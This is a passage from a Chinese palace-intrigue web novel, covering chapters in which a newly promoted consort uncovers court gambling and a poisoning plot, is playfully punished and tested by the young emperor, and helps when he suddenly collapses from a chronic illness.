就听团圆道:“……这龙须酥,要用麦物,糖,芝麻,花生,反复熬制,这里边加了香波棱,苋、椒,蒿这些有独特气味,这糖不能太甜,也不能太轻,以入口即化,能闻到一丝微焦的香味为宜……”
楚念辞透过围幔看着团圆坐在桌边说得口沫横飞,端着个汝窑盘子,里头真是龙须酥和血燕羹。
楚念辞心里奇怪:团圆平时取的都是普通糕点,哪来的这种金贵东西?
“哟,本事不小啊,”楚念辞笑着掀帘走过去,“哪儿弄来的?”
团圆脆声声道:“是红缨姐姐送来的。”
“红缨?”楚念辞微笑。
“她人呢?”楚念辞张望。
“刚刚给您磕个头,走了,说是不耽误您午憩。”团圆笑嘻嘻地说。
“她让我转告给你,如今她在斓贵人身边过得很好,改日再来给您磕头……这个龙须酥是斓贵人亲手做的,让您尝尝小时候的味道。”
楚念辞挑眉:“斓妹妹可真费大事儿。”
这东西别看这么小小的一盘子,没有几天的工夫做不出来。
“嗯,”团圆连忙点头,“小主,这是他的一片心,您尝尝!”
楚念辞拿起东西嗅嗅,轻轻咬了一口。
那香甜酥软的味道,一下子就从舌尖沁入心田,让她想起在江南的时候与母亲在一起的日子。
“你也吃。”楚念辞拿了一块给团圆。
团圆一下子就把那块塞进嘴里,吃得像个小松鼠似的。
这时,就见满宝口水差点流到地上,楚念辞也递了一块给他。
满宝腰上别着个钱袋子。
吃得圆眼睛都笑得成了一条线。
“你这是领月例了?”楚念辞看着那个钱袋子问。
“哪能啊,月例哪有这么多,”满宝一边吃,一边晃了晃钱袋,“奴才刚在四执库赢的,嘿嘿。”
楚念辞一听就沉了脸。
四执库是管皇帝后妃衣物以及各种物品发放。
没想到居然还私下里聚众赌博,宫里明令禁止赌博,他竟然跑去赌钱?
“早告诉你不许违反宫规,”她声音冷了下来,“你敢不听我的话。”
满宝“扑通”跪下了,一边抹嘴上的糖沬,一边喊冤:“奴才的姐姐烂在浣衣局被折磨得快要死了,是主儿派人把她救出来,若奴才这还不听主的话,不是畜生了吗,奴才是为了打听消息,才去那儿啊……”
这件事是她团圆去做的,为的就是拢住满宝的心,她看了一眼团圆,团圆点点头。
“你都知道了,”楚念辞道。
来这儿才一个月不到,确实需要耳目。
要是完全不让满宝去,恐怕真要成聋子瞎子。
团圆小声道:“小主,要是不让他去,咱们可真就两眼一抹黑了。”
楚念辞脸色缓和了些:“那你听到些什么了?”
满宝擦了擦眼睛,凑近压低声音:“白嫔、俏贵人污蔑您,陛下为您澄清了,又升了常在,那些流言不攻自破,淑妃不能侍寝,众人都盯着侍寝的事,妃位以下头回侍寝后能晋一级,众妃都盼着呢。”
“淑妃娘娘下午发了好大火,砸了不少瓷器,好几个宫人无缘无故就挨了罚……”
楚念辞轻轻一笑:“她本来最有希望侍寝,结果闹这一出,还丢了脸,心里当然不痛快。”
可惜了这么好的家世,反而被人算计,所以说争这第一次侍寝机会,真的不智。
不过,人人知道这么个道理,但若真有机会,谁又能放弃呢,不说别人,连楚念辞自己心里都有些羡慕,只是出身没法选,她也不想出头当靶子。
她相信,不管前世今生,只要不陷在情情爱爱里,总能一步步爬上去。
团圆抱着糕点感叹:“淑妃、白嫔、俏贵人出局,剩下三位机会就大了。”
楚念辞垂下眼,口中问道:“如今有什么动静?”
“都在暗暗使劲呢……嘉妃找了李德安公公,悦嫔走了敬喜公公的门路,就斓贵人没什么动作。”
哎,斓贵人也走门路了。
你们吃的龙须酥就是,楚念辞暗暗好笑。
“另外,关于陛下的初寝权,押嘉妃侍寝的一赔十,押悦嫔的一赔三十,而押斓贵人的一赔四十。”
他顿了顿,声音更低了:“最绝的是前两天大家全押淑妃侍寝,唯俏贵人身边的小禄子,早早押了淑妃不能侍寝,赢了一千两,这会儿不定在哪儿数钱呢!”
楚念辞听得嘴角抽搐。
这些不知道天高地厚的东西,竟然都把陛下的初夜权,拿出来压赌。
这么看来,蔺景瑟这个皇后当得确实不称职。
宫人收受贿赂,宫里滥赌成风,她不闻不问,一心只扑在争宠上,怪不得小皇帝看不上她。
但这些她现在管不着,也轮不着她管。
现在,她要从最看似不起眼的地方,挖出中间藏着风声和秘密。
蓦然之间。
她凤眼微微眯起……
心里那团雾忽然散开些……
俏贵人身边的人早就知道淑妃侍不了寝?
除非淑妃中毒是她下的手。
上午在坤宁宫,她漏掉俏贵人?
忽然如一道闪电,劈开了眼前的迷雾。
在坤宁宫时,只有一个俏贵人因为“犯了忌讳”被拖出去,没被检查。
为什么她装疯卖傻地针对自己。
就是因为身上带犯忌的东西。
好一招金蝉脱壳。
她原以为俏贵人少根筋,吃饱了撑的挑衅自己受到处罚,原来她是故意的。
就算不找上自己,她也会找别人闹一场。
好一个装疯卖傻的俏贵人,自己还真有点轻视她了。
只是不知道她背后的主子是谁?
想通这点,楚念辞对团圆和满宝摆摆手。
“眼下宫里情况不明,暖晴阁上下这几天务必谨慎,别被牵连进去。”
团圆和满宝赶紧应“是”。
满宝又说:“还有一个消息,好像从淑妃的传出,说是陛下以前有个中意的宫女,喜欢穿红裙在梅坞跳舞,都把这事往坤产宫与嘉妃延禧宫传呢。”
陛下喜欢的宫女,她怎么没听说。
淑妃这是不能侍寝,挖坑皇后或嘉妃。
不过,楚念辞认为这套不住这两人。
因为皇后毕竟住一月,陛下情况她清楚,而嘉妃也是和陛下一起长大。
这消息倒是可以利用一下。
楚念辞淡淡吩咐:“这事你想办法传到白嫔的永寿宫。”
白嫔,蒙你惦记,费心挖这么大一个坑给自己。
不反击,你当我好欺负。
现在就把这个坑给你挖好,跳不跳就看你自己了。
“还有以后没有我吩咐才能去,不准去四执库。”
满宝额头汗下,连声说“再也不敢了”。
团圆捂嘴笑了笑:“你可记牢了,就算你有孙猴子的本事,也翻不出小主的手掌心。”
“起来吧,”楚念辞语气缓和了些,“在后宫,消息灵通很重要,但不能自以为是,忘乎所以,被别人抓到了把柄,不过,这次你做得不错,该赏。”
团圆递了个荷包过去。
满宝毕竟只有8岁,被她这一吓,小小的一只趴在地上,怯怯地不敢接赏,连声说:“奴才犯错,不敢领取奖赏,只盼小主饶过这一次……”
楚念辞声音缓了一下:“只要你忠心办事,这赏就该拿着,往后打听消息要用钱的地方不少,这些就当给你周转,事情办得好,我自然不会亏待你。”
御下之道,无非恩威并施。
敲打过了,也得给点甜头,这样满宝往后当差才会更用心,也不容易走歪路。
满宝抹了一把汗,露出笑脸,接过荷包和钱袋:“谢小主赏,不瞒您说,奴才六岁就进了宫,便是不去四执库,各处都有些熟面孔,只要不是绝密的事,总能打听到几分……”
宫里很少有小太监敢在主子面前这么夸口。
他既然敢说,想必是真有些门路。
楚念辞点点头:“那你今后多留心,好好替我办事,自有你的前程。”
话虽如此,她心里却明白……在这深宫里,永远不能轻信任何人。
这时,养心殿的一名小宫女,来传她,说陛下有急事找她。
急事?
什么事?
楚念辞想不出自己能摊上什么急事。
但无可奈何,只好跟着那小宫女,便起身往养心殿去了……
第38章 撑腰
来到养心殿正殿时,已是戍时,外殿的灯烛大多熄了,只留几盏忽闪的宫灯。
夕阳映着雪地,洒下一片橘黄。
远远便见一人趴在殿前空地上,被两名守卫执杖责打,哭喊不止。
敬喜正高声数着杖数。
楚念辞心想,这是谁撞到陛下气头上了?
她走到监刑的敬喜身旁,瞥了那人一眼,只见那人身材肥胖,大腹便便,生得獐头鼠目,面目猥琐。
楚念辞好奇地走到敬喜旁边问:“哟,这谁这么不长眼,惹陛下生气?”
“内务府令韩越,”敬喜向边上走了几步,侧身低语,“陛下这几天,因为朝廷的公事,一直案牍劳形,上午又在坤宁宫气着了,俏贵人胡言乱语诬陷您,午后起身,用了碗香酥乳酪,觉得味道不对,便召他来问话,结果一查账目,发现贪腐严重,账面一团糟,陛下动怒,说他贪污渎职、藐视君上,下令拖出来打三十杖。”
内务府令?
那不就是俏贵人的父亲么?
看来陛下为上午的事,记上仇了。
这分明是站在自己这边。
不对,更加有可能的俏贵人在诬陷自己的同时。
没想到这也是给他戴绿帽,触了他的禁忌。
打得好,楚念辞心中暗暗称快。
她踏上金阶,边走边想,陛下真是厉害,只凭一碗牛乳便揪出内务府的贪腐。
这般洞察力着实罕见,往后在他面前更要小心谨慎才行。
刚走到殿门外,便听见端木清羽的声音:“……可恨,贪婪无度,面目可憎,这样的人管着内务府,朕岂能放心?皇后如今执掌后宫,账目污浊至此,你竟毫不知情?”
接着是蔺皇后低声的回话:“陛下,臣妾才进宫一个月,前阵子忙于选秀与各宫事务,实在难以事事兼顾……”
“哦?既然皇后忙不过来,要不要朕为你找个帮手,传旨六宫,让淑妃与嘉妃协理?”
“陛下……”蔺皇后低呼声,伴着杯盏轻碰的细响。
楚念辞隔着帘隙,只见皇后走到一旁跪下道:“臣妾惶恐,若如此,臣妾如何有面目见人,请陛下收回成命。”
端木清羽余怒未消:“内务府令既管不好事,也不必留了,往后后宫诸事由中常侍统一打理,即日起撤销内务令一职……李德安升任内务府总管。”
“可……陛下息怒,韩越毕竟是太后娘娘举荐的人……”
“太后如何知道他是这种人,如此,他更多了一种欺瞒太后之罪,你便去禀告太后,就贬他去营造司当个监理,只管禁苑修缮,若再不知悔改,永不叙用。”
内务府令变成工程监理,一下子就降了好几级。
蔺皇后似乎还想说什么。
“退下吧,”端木清羽语气淡了下来,“朕身体已无碍,皇后近期不必来侍疾了。”
一阵衣裙窸窣声响起。
蔺皇后低着头退了出来,一转身正瞧见楚念辞。
楚念辞连忙屈膝行礼。
蔺皇后脸色铁青,满腹心事,根本没留意到楚念辞,只阴沉着脸走下金阶,坐上凤舆匆匆离去。
楚念辞望着她那沉闷萧索的背影,莫名感到几分凄凉。
入宫后不得圣宠,不过是太后的傀儡……
这般着实可悲,其实若是她不贪图那些不属于自己的东西。
也不至于弄到如此地步。
话又说回来了,如果她老老实实地守着自己的本分,端木清羽会不会心一软,给她一点尊严和体面,似乎不太可能,他可不是那心软之人。
三言两语便削了皇后的权,不准她再来侍疾,连太后举荐的人也险些被赶出宫。
这一番敲打,既警告了太后,也立了君威。
想到这儿,她深吸一口气,连呼吸和脚步都放轻了。
楚念辞低着头,轻移莲步走进内殿。
内殿灯火通明,晚膳还未撤下,端木清羽正坐在桌前端着一杯茶。
烛光闪闪,映得他唇色冷润侧影俊美,让人怦然心动。
她对着那侧影痴迷片刻,喉头微微滚动,默默咽了一下口水。
抬头但见几名宫女静静立在旁边,含羞带怯地偷瞧着他映在地上颀长身影。
楚念辞心中默默暗笑,这几个丫头今夜都睡不好了。
见陛下还在用膳,这不是自己分内的事,她便悄悄退到一旁站定。
不多时,敬喜回来禀报:“陛下,杖刑已毕。”
“嗯,”端木清羽目光朝这边轻轻一扫,“朕不吃了,都撤下去吧,别在这儿站着了。”
众人领命退出,楚念辞也跟着转身。
“慧儿……”端木清羽面无表情唤住她,只对一旁的小太监道:“这儿不用伺候了。”
殿内只剩他们二人。
她偷偷抬眼,烛火下端木清羽那张脸越来越沉,瞧得她心里发毛。
不行,不能如此坐以待毙,得赶紧自证清白!
楚念辞心里嘀咕:今天这事儿真不怪我……可到底还是惹了点小麻烦。
不解释清楚是不行了。
打定主意,她脸上立刻绽出委屈巴巴的样子,走到端木清羽跟前,开口就喊冤:“陛下,其实臣妾今天是被人算计了。”
“哦?”端木清羽指尖一顿,抬眼瞧她,“怎么个算计法,你说说看。”
楚念辞反应极快:“臣妾原本好好拿着珠花往坤宁宫去,谁知道蔺景瑞突然不知从哪儿冒出来,吓了臣妾一跳,刚把他打发走,偏巧就被玉嫔和俏贵人撞见了……”
“是么,”端木清羽睨着她,慢悠悠问,“那你为何不走大路,非挑那条小道?”
楚念辞噎了一下。
她不就是想抄个近道嘛。
“臣妾……臣妾是想赏雪。”她正了正神色,一脸诚恳。
瞟了眼窗外,又瞄了瞄皇帝的脸色,她压低声音道:“陛下,臣妾有件要紧事禀报。”
“说。”端木清羽抬了抬眼,看似随意。
楚念辞凑近他耳边,把淑妃被人下催经药的事一五一十说了。
端木清羽听完,若有所思。
楚念辞暗暗松了口气:这就对了,还是正事要紧呀陛下。
关于自己与蔺景瑞相会那点事,就让它如风消散吧……
见他似乎陷入沉思,她叩了一个头,悄悄转身离去。
“你竟敢顾左右而言他,搪塞于朕!”身后忽然飘来一句……
完蛋了……被他发现自己的想法了,楚念辞心中微微一跳,扑通一声跪了下去……
第39章 打手板
跪在地上的楚念辞,还装作莫名其妙地仰起俏脸:“啊?您说什么呀?”
“还扯谎,”端木清羽语调轻缓,像刀剑微露锋尖,“坤宁宫的雪向来是宫里最先扫净的,那还有什么雪景,你偏选那条路,是不是有意去见他?”
楚念辞立马软了身子,眼巴巴红了眼圈说:“陛下,臣妾真的只是贪走近路……在臣妾心里,您英明神武风华绝代,在这世上,无人能及,莫说一个世子,便是王爷、亲王,玉皇,也比不上您的一根头发丝儿,陛下,您信我,臣妾心里只有你……”
端木清羽垂眸看她片刻,薄红的唇角一挑,露出雪齿,像冰裂开透出一道白光。
“心里只有朕,”他忽然蹲下身,伸手捏住她尖巧的下颌,让她看着自己的眼睛:“你还没有侍寝,便是承认了又何妨?若你想回他身边去,朕下旨让你回去,但若你三心二意,首鼠两端,便是王法无情……”
他的指尖顺着她的下颌缓缓下滑,轻轻划过她雪颈间,怦怦跳动的脉搏。
“若到那个时候,只能把你心挖开,看看是红是黑。”
楚念辞香肩一颤。
要挖掉自己的心看一看,那自己焉有命在。
端木清羽凤眸微眯,明光迫人,楚念辞脊背一阵发寒。
于是,她赶紧更加努力挤出讨好的笑容:“臣妾发誓,当初就是因为厌烦他才进宫的,看见他就讨厌,臣妾怎么可能还瞧得上他,您的一个脚趾头也比他胜了万倍?”
端木清羽盯着她,见她梳着双环髻,乌发衬得面容如珠玉般光润,一段纤柔的脖颈微微前倾,像垂丝海棠的花茎那样柔美动人。
腰身纤细,体态轻盈,双手从袖中露出,肌肤雪白,指尖透着淡淡的粉。
眉间一点胭脂痣,凑近时能闻到淡淡香气,令人心醉。
眼神纯粹又干净,干净到极致,让她每一句话都这么令人可信。
“记住你的话,”端木清羽心中不觉漏跳一拍,猛地收手,“朕不会给你食言的机会。”
见他眸光湛湛,犀利如冰地盯住自己,楚念辞心下战战,瞪圆了双眼,像只小小的狸花猫望向他。
虽然早知道平日里那个云淡风轻、俊美如玉的少年帝王呢是装出来的,可陛下,您就算带个面具,请您永远戴着,别总是在臣妾面前露出真容。
这样的您臣妾真招架不住。
端木清羽表情一凝,大概也觉出自己失态了。
可对上楚念辞那双瞪圆的眼睛像只小狸猫,他想笑,但又忙忍住了,眉梢一挑,又从容不迫地换回渊停岳峙般的风姿:“盯着朕干嘛,记住朕的话便是。”
楚念辞脸色一松:还好还好,他这第二面孔的毛病还不深,转眼间无缝切换回去。
见他收了凌利的气势。
她重新跪好,竖起手指:“臣妾对天发誓,方才所言若有半句虚假,就叫臣妾永远不得侍寝,当个白头宫女,孤苦到老!”
这誓发得……
端木清羽看着她那副“赤胆忠心可比日月”的模样,脸上冰雪消融,轻轻笑了。
“朕信你。”他语调温存起来,接着却问,“既如此,你说说,方才他拉拉扯扯的,碰到你哪儿了?”
楚念辞眼珠一转,心中一惊。
突然想起他曾说过,若被别人碰了,就把被碰的地方剁了。
于是她小声嘟囔:“也没什么……就拽了下衣袖而已。”
端木清羽见她长长的扇子似的睫毛微闪,眼睛中却是躲躲闪闪,于是不咸不淡地说:“去把帘后戒尺拿来。”
楚念辞心里嘀嘀咕咕,还是走到后头窗边,果然在梅瓶里看见一把光润的竹戒尺。
她取过来,双手捧着跪到他腿边,眼巴巴望过去。
端木清羽接过戒尺,在手里掂了掂:“朕说过,若被人碰了,那双手便不必留了,但念在你今日立下功劳,还得自行解围,也算有几分急智,总算没有丢了朕的面子……死罪可免,活罪难逃。”
他语调慢悠悠的:“便罚手板十下,看你是朕身边的人,给你留点面子,手伸出来,朕亲自打。”
楚念辞听得一愣。
她一边腹诽,一边乖乖伸出左手,心里却想:如果你真心惩罚我,必是会喊外面的小内监过来行刑,明明就是不想打自己,只不过就是放不下面子吧。
如此这般说一套做一套。
让你打上算姐姐输。
“谢陛下责罚。”她声音软绵绵的,眼睛却委屈巴巴地像个小狗似的垂下。
端木清羽握住她如玉般指尖,将她的手心摊平,见那只手像白玉雕成的莹润光泽。
戒尺轻轻贴上去,凉凉的。
“第一下。”他话音落下,戒尺便抬起来。
“啪”一声脆响,眼看实实在在地落进她手心。
楚念辞一下子缩回了手。
这戒尺实打实地抽在了旁边的小几上。
楚念辞指尖微微一蜷,又立刻伸直。
她却抿紧唇,一声不吭,嘟着粉嘴看着他。
端木清羽垂眸看她,正想呵斥。
见她羽睫微颤,像是蝴蝶落在了地上,轻轻抖落着翅膀。
不由心里微微一软。
戒尺接着落下第二下、第三下确实如同羽毛一般落下……全落在小几上。
十下打完,端木清羽停下动作,瞥见她咬紧的唇,忽然问:“知错了么?”
楚念辞立刻点头:“知错了。”
“错在哪儿?”
“错在……让人碰了袖子。”她答得飞快,眼里却掠过一丝狡黠。
端木清羽轻轻哼笑。
殿外,小太监听不见里面说话。
只听见啪啪的声音,猜也猜出来知道是陛下打人
吓得直缩脖子,小声问敬喜公公:“喜哥,慧小主惨了,陛下都气得自己动手。”
敬喜斜他一眼,嗤笑:“你何曾见陛下亲自动手打人。”
小太监:“没有。”
不是妥妥地打情骂俏吗?
敬喜心道,照这个情形来。
也不怪这小内监不通人事,陛下这般与人打情骂俏,确实是前所未有。
慧小主以后得更加恭敬地对待,只怕以后她的前程,不止常在与贵人……
“记住了,”他放下戒尺,指尖在她如玉的掌心抚了抚,“再有一次,便没这么便宜了。”
她抬眼,便见端木清羽精致的眸子反射着灯火的暖光,心里不由软成一片。
第40章 病发
陛下对自己还真是嘴硬心软,虽然没有把握侍寝,但她觉得自己也该朝那个方向努力。
如此想着,楚念辞胆子变大起来。
从他手上拿回戒尺时,偷偷在他手腕上抚过。
指尖若有若无的,如一片羽毛般的旖旎拂过。
这是明目张胆的挑逗和试探。
端木清羽忽反手将她作乱的手指轻轻握住,眸光微闪,“可听过一句话……胆子太大的人,易招祸事,寿数不长。”
“易招祸事!”这几个字随着他掌心的一丝力度透过肌肤传来,楚念辞心尖微微一颤,却没挣开,反而将另一只手也覆了上去。
“臣妾不怕祸事,”她抬眼望他,眸光映着烛火,亮得惊人,“陛下是真龙天子,有您在身侧,百祸无犯,百害不侵。”
“倒是会说话,嗯……”他低笑的声音愈发喑哑。
目光却牢牢锁在她樱粉色的唇上。
这般明目张胆地挑逗自己,在后宫中属实少见。
当初让她进宫,便是看到她的身份可以牵制皇后。
只要她这人在宫中一日,皇后就得膈应一日。
太后弄个自己不喜欢的皇后来膈应自己,自己也弄个她们不喜欢的人,膈应她们。
而后来经过几次接触,发现她除了医术,还有份旁人都没有的机敏与胆量。
自己也曾随父皇游历天下。
什么样的美人没有见过,但能智力超群,随机应变的。
还真没几个。
这才是她刚当奉茶宫女便晋升为常在的原因。
如今,她竟敢肆无忌惮挑逗自己,胆子实在太大,不过,毕竟自己后宫的女人,都盼着能躺上龙榻,真正成为他的女人。
但能成为他的女人,除了机敏、胆量、才华,最重要的是忠心。
虽她指天发誓,言之凿凿,可自己终究只看行动,不看言辞,否则的话,若这么容易被人骗,自己坐上皇位也不会这么稳,才入自己身边不久,终究得试上一试。
如此想着,便道,“朕的雨露天恩……你承得住吗?”
由于楚念辞正微微摩挲了他的手臂。
端木清羽声音已经有一点喑哑,他微微仰着头,这声音从轻薄的唇瓣中吐出,很轻,像一颗石子投入深潭,不见一丝波澜,但眸光却是一缕薄冰,隐藏着一丝锋利。
楚念辞望着他眼中那簇幽暗的火,忽而弯起眉眼:“陛下给什么,臣妾便承什么。”
话音未落,她已将他那只右手整个拢入掌心,另一手有意无意地扣在了他的脉门上。
手搭上去就一惊,他的脉象又涩又沉,身体确实是有一股顽疾。
这顽疾却又有点不同寻常。
但她搭脉的动作,不敢做得太明显。
只将搭脉动作转换成轻轻地将他的手悄咪咪地扣在掌心,像只收藏橡果的小松鼠。
这小动作自然逃不过他的眼睛。
端木清羽的手没动,反而用左手抬起了她的下巴。
他指尖微凉,力道却不小:“若是无情,便是睡在一起,与畜类相交何异,能睡上朕床,必是与朕情投意合,两心相悦。”
听他这么说。
楚念辞差点又张开了嘴,露出了失态的蠢样。
还真意外,不料这天下最无情的人,是个情种。
这可能吗?
君临万邦,坐拥天下的陛下,一边需要稳固朝堂各方势力,一边还期盼觊觎着他的权力的女人给予他真心,这着实可笑。
她根本就不相信,即便这是他的期盼。
这也是一种奢侈,殊不知在这波诡云谲的宫中,谁若付出真心,便更容易被人伤着,自己可不做这种傻事,必得好好守着自己的心。
正思量间。
又听端木清羽道:“除了真心,能承受雨露恩泽的人,总该有些真本事傍身才是,你对自己的本事,有信心吗?”
两人离得极近,呼吸几乎缠在一块儿。
楚念辞闻到他衣上淡淡的草木般的清新香气,眨了眨眼,
尽管此时两人之间已经暧昧到了极点,但楚念辞却清晰地知道。
除了床笫之间的事,他更关心的是自己的医术。
楚念辞认为这小皇帝的真是了不得,如此被自己撩拨,还没忘记是试探自己。
这么想着,她将那手放在脸旁边。
睫毛扫过他手指:“臣妾自然有真本事在身上,陛下想试试吗?”
“本事倒是其次,你别忘了,不是自己的东西别碰……”
端木清羽没说完,已经说不下去……
楚念辞拇指若有若无地摩挲顺着手臂向颈间攀延而上。
空气中只剩下他微微低沉嘶哑的呼吸声。
端木清羽明眸似含着一丝迷茫,又似含着一丝享受,他微睁开眼睛中,似有一丝空茫,似乎是享受,又似乎在忍耐。
他不知不觉微微倾身向楚辞樱色的唇。
正这时,“咚”一声响……
原来是个小宫女在门口打瞌睡,额头撞上了门框。
她疼得赶紧跪倒:“陛下恕罪,奴婢昨夜没睡好……”
话越说越小声。
这一打断,端木清羽松了手,靠回椅背,神色也淡了,只嘴角还留着一点似笑非笑的弧度:“罢了,没休息好,就回去歇着,朕有些饿,去把桌上那碟桂花糯米糖糕拿来。”
小宫女连忙起身去取。
端木清羽瞥了眼摊开的奏折:“今天先到这儿,你回去吧,记着,好好揣着你本事,别眼高手低,好高骛远,给自己惹祸。”
楚念辞起身走到门边。
回头看了眼……烛光里,端木清羽正捏起一块糯米糕,侧脸被映得柔和精致。
她微微一笑:“陛下,臣妾不怕,你是明君,便有臣妾做错什么,您也会包涵,臣妾随时恭候您来试。”
他没应声,只摆了摆手。
门轻轻掩上后,端木清羽才低头看向自己的手……指尖仿佛还留着她的温度,还有一丝极淡的、辨不清是花香还是药香的清甜。
他望着那道走出殿门的纤细身影,忽然低笑一声,摇了摇头。
想起刚刚的事,他觉得并不反感,还真是有点意犹未尽。
楚念辞缓缓走出殿外,低头闻了闻手上沾染的香气,脸上还带着笑意。
一转身,却险些撞上不知何时静立在身后的李德安,着实吓了一跳。
“李常侍。”她赶忙行礼。
这位李德安头发花白,神情严肃,是中常侍,宫中地位仅次于太后跟前的老内侍。
楚念辞对他记忆是从小伺候端木清羽长大的老太监,跟在皇帝身边的时间,比先皇还要长,忠心不二,他在端木清羽在世时能呼风唤雨,后来小皇帝驾崩,他借口守陵,从容全身而退,可见其在宫中的根基十分深厚。
这样一个人,竟会在外等候这么久。
楚念辞悄悄瞥了一眼,见他手中端着托盘,上面摆着两封奏折。
而他身后还跟着个小太监,捧着放有六枚绿头牌的盒子。
那是此次新入宫的六位小主,今夜该定侍寝的人了。
见她望来,李德安脸上严肃的线条微微缓和,沉默片刻,才道:“慧常在,陛下对你另眼相看,你要珍惜机会。”
楚念辞恭敬回答:“臣妾明白,若不是陛下照应,臣妾也进不了宫。”
“其实在陛下这儿,有没有本事不重要,忠心才是第一。”李德安提醒道。
“臣妾定当忠心不二。”楚念辞忙敛眉应道。
李德安几不可察地蹙了下眉,不置可否。
半??,只道:“您且稍候,陛下用了糖糕,恐怕会口渴,待会儿再奉盏茶进去,而后再走不迟。”
楚念辞只得应下,静静候在门外。
不过站了十几息的工夫,便听见殿内“哐当”一声脆响……是茶杯被砸碎了。
“太尉和镇国公真是好算计!一个催边塞兵饷,一个要四九城换防,真当朕软弱可欺吗?”就听端木清羽冰冷犀利的声音传了出来。
楚念辞心下一动。
太尉府是白嫔。
镇国公府是嘉妃
想来是淑妃无法侍寝,这两家便各自打起算盘。
前世的记忆告诉她,边军多握在太尉白战陵手中,此时催饷分明是借势施压,好推白芊柔上位,而镇国公府也不肯相让,凭仗着京城九门戍卫,此时请调换防,也是在借机要挟送上顾轻眉。
小皇帝无论选哪一方的人侍寝,都会打破眼下微妙的平衡。
所以最佳的方案,便是选一个既能拒绝,又不落两方面子的人。
只是这个人,还得有尊位。
皇后……楚念辞突然想到了这个人选。
她正想着,殿内又传来一阵闷响。
像是有人扑倒在地的声音。
楚念辞心头一凛,当即掀帘而入。
只见端木清羽散着长发,如玉山倾颓般倒在地上,面色如纸,一动不动,李德安正慌乱地俯身去扶,声音都变了调:“快,柜子里有药,快去拿!”
第41章 蟹粉与幻情花
看着倒在李德安怀里毫无声息的端木清羽,楚念辞脑中一片空白。
皇帝若真出了事,他们这些近侍、宫人当然都逃不过陪葬的下场。
她强自定神。
接过李德安递来的钥匙,快步走向屏风后的龙床。
床边立着一只乌黑发亮的木橱,打开一看,中间一层堆满了密密的奏折,最底下则并排放着两个小木匣:一个黑核桃木的,一个红木的。
“药在黑匣子里!”外间传来李德安急促的提醒。
楚念辞弯腰去取黑匣,目光却不由自主落在红木匣上。
她凑近些轻轻一闻,顿时心头一惊……即便隔着木匣,仍能嗅到一丝幻情花的味道。
师父孙真人曾再三告诫,此乃禁药,千万碰不得,服后令人陷入情欲幻境,伤人根本。
只是这一嗅,她已觉得心跳慌急,当即不敢再碰,端着黑匣快步退了出去。
李德安未曾察觉她的慌乱,打开黑匣取出一粒药丸,放入端木清羽口中,又就着楚念辞递来的温水缓缓咽下。
可十几息过去,皇帝依旧双目紧闭,毫无苏醒的迹象。
“怎么会没用……”李德安声音发颤,猛一转身对旁边呆立的小宫女道,“快,去请章太医过来!”
“记住悄悄带他来,莫惊动旁人。”他压低声音补了一句。
那小宫女这才惊醒过来,连连点头,抖着手慌慌张张地跑了。
楚念辞暗暗松了口气……看来李德安是真心维护皇帝同时还顾忌到这一殿的宫人,没想将事情闹大。
否则一旦传开,即便皇帝事后醒来,他们这些在场的人也难逃追责。
不久,章太医被悄悄引了进来。
此时端木清羽已被移至榻上,面色苍白,无声无息地像座玉石冰雕。
李德安挥手屏退那名吓呆的小宫女:“去门口守着,没我的吩咐,不许让任何人进来。”
小宫女应了一声,哆哆嗦嗦地站在门口。
章太医上前诊脉,眉头却越皱越紧,额上漫出一层细细密密的汗珠。
“陛下情况如何?”李德安俯身看向依然昏迷的皇帝,声音透出焦急。
“陛下肺痨是旧疾,不过日久未发,此次复发脉象凶险,实在……不容乐观。”章太医抬手擦了擦额角渗出的细汗。
“前些日子不是已见平稳,怎会突然恶化至此?”李德安忙问。
章太医回头看了眼龙榻,压低嗓音:“此症一半是病,一半是气,陛下刚才动了大气,急火攻心,这才骤然发作。”
李德安脸色一沉……方才皇帝确实震怒,连茶杯都砸了。
他急忙追问:“那眼下该如何?”
“或可尝试针刺天绝穴,强行醒神,陛下或可苏醒。”
“您从前不是说此病宜缓图,最忌猛针吗?”李德安犹豫不决。
章太医一时语塞。
他确实担不起这个风险,沉默片刻,才低声道:“若不知确切病因,无法行针……便只能禀报中宫与太后了。”
虽早有预料,楚念辞听到这话心里咯噔一声。
皇帝此次发作的急症,绝非寻常风寒小病,若传到皇后耳中,必会严查深究。
到时候阖宫上下难逃牵连,自己恐怕也脱不了干系。
她方才暗中搭过脉,确是肺痨之象,但肺痨乃慢症,发作之前应该有高热,按理不该发作如此之急。
即便气极,也不该直接昏厥,反而应有咳喘痰涌之状。
唯一的解释,只能是皇帝方才服下了某种催发病势的东西。
眼下已无退路……若不冒险一试,这一局只怕生死难料。
“章太医,”楚念辞在旁轻声开口提醒,“陛下先前还好好的,即便劳累动气,按理也不至忽然昏厥,会不会……是用了什么不该用的,妨碍病体?”
“妨碍?”章太医瞧了她一眼,捻了捻长须,“若是陛下日常饮食有禁忌,当然会这样。”
老太医想起来了,这个容貌绝丽的少女,刚刚在皇后殿的时候,曾经帮淑妃行针,看似颇通医理,她的建议,合情合理。
“这……”李德安皱眉,“晚膳都是敬喜盯着备的,绝不会有问题。”
敬喜从小照顾皇帝长大,饮食禁忌早已熟记于心,每顿御膳也都有人监制,从不出错。
“陛下昏倒前,刚用过桂花藕粉糖糕。”楚念辞提醒道。
一旁守夜的小宫女吓得扑通跪倒:“奴才万万不敢下毒,那糕点绝无异物!”
“没说是毒,”楚念辞走到桌边,她将盛糕的碟子端了过来,“只怕其中有什么与陛下病症相冲的东西,你别慌,慢慢地想一想。”
“都、都是御膳房做的,就是寻常的桂花、藕粉和面粉……”小宫女为证清白,甚至捡起地上一点碎渣放入口中,“您瞧,真的无毒!”
李德安也道:“这里头应无禁忌之物。”
章太医眉头一紧,从针囊中取出一枚金针,小心拨了拨残糕:“这点心用了哪些材料?”
“若想查明,只得传御膳房的人来问话了。”章太医沉吟道。
如此一来,事情必会传开,阖宫皆知。
不可,不可惊动那么多人。
“章太医,”楚念辞做了揖道,“臣妾或许有个法子。”
她转向一旁的李德安,“劳烦您派人将我屋里的丫鬟团圆悄悄请来。”
李德安看了她一眼,未多问,转身快步离去。
不到一刻,团圆便垂着小脸走了进来,两手揉着眼睛,似乎刚睡醒的样子,胖乎乎圆嘟嘟的小脸上神情还有些懵懂。
一进殿看见这种情况,直接吓得缩在了楚念辞背后。
“团圆,你别怕,”楚念辞拿起一块糖糕递给她,“你尝尝,这里面都用了什么料?”
她对自家丫鬟的本事心中有数……
这丫头虽是个丫鬟命,却生了条皇帝舌头,无论什么吃食入口,都能辨出其中的成分。
